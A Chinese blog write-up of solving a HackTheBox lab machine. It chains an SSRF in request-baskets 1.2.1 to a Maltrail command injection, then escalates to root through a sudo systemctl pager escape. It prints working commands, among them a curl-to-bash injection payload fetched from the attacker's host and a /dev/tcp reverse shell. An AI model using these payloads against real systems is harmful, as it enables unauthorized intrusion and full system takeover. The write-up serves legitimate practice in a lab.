PentestGPT不停地出现在我的GitHub主页流上,我看着它,像极了普通工厂工人看着自动化流水线车间。
怎么办呢?打不过就加入吧!但目前PentestGPT需要ChatGPT-4,我开不起😅
还能怎么办呢?看看演示视频吧。演示者用它来打HackTheBox,看着看着自己也手痒了。之前有注册过HackTheBox账号,但VPN实在太卡了,连最基本的网络连通性都无法保证。要想玩HackTheBox,首先得解决网络问题。
解决网络问题
一图流:
挂个代理就行。openVPN居然还能挂代理
废话不多说,开始做题!
User Flag
连上VPN,先测试一下网络:
ping 10.10.11.224
通!而且延迟是68ms,如果不用代理,需要680ms😁
先用nmap
探测一下端口信息:
nmap 10.10.11.224 -v
22端口和55555端口开放,80端口被过滤。
先看看55555端口是不是web服务:
一开始我在这个简陋的页面转了很久,把能看的地方都看了一遍,仍然没什么收获。因为它太过简陋,让我不敢相信他是一个通用型应用。
直到我换了一个浏览器打开:
Chrome在干嘛???
言归正传,Powered by request-baskets,版本是1.2.1,搜索一下它有什么漏洞。
最终我找到了request-baskets SSRF details - CodiMD,一个SSRF。
还记得远处被filtered了的80端口吗?或许可以利用SSRF看看里面究竟有什么:
curl --location 'http://10.10.11.224:55555/api/baskets/fox09' --header 'Content-Type: application/json' --data '{"forward_url": "http://127.0.0.1:80/", "proxy_response": true, "insecure_tls": false, "expand_path": true, "capacity": 250}'
再访问http://10.10.11.224:55555/fox09
:
嗯~得到了一个Maltrail
页面,搜搜它有什么漏洞。
Unauthenticated OS Command Injection in stamparm/maltrail vulnerability found in maltrail,一个没有回显命令执行。
在经过无数失败的反弹shell后,我找到了起作用的方法:
curl 'http://10.10.11.224:55555/fox09/login' --data 'username=;`curl 10.10.16.18:8000/rev.sh|bash`'
其中rev.sh
的内容为:
#/bin/bash
bash -i >& /dev/tcp/10.10.16.18/9001 0>&1
进入/home/puma
目录,拿到User Flag:
System Flag
linpeas.sh是一个用于Linux提权的脚本,它会列出许多对提权有帮助的信息。
curl -L -o linpeas.sh-main.zip 'http://10.10.16.18:8000/linpeas.sh-main.zip'
下载完成后解压运行,得到一条有意思的信息:
查看GTFOBins,找到一个关于systemctl
的提权方法:
sudo systemctl
!sh
手动试试:
直接列出了服务状态,并没有输入!sh
的空间。
这里需要用一个小技巧:
script /dev/null /bin/bash
它的作用是是将当前的终端会话重定向到/dev/null
,然后启动一个新的/bin/bash
子shell。可以看到下图中,执行script
命令之后再运行sudo systemctl
,会产生告警:WARNING: terminal is not fully functional
。这时候输入回车,将会分段显示信息。如果不输入回车,而输入!sh
,将会开启一个root权限的新shell。
最后进入/root
目录获取System Flag: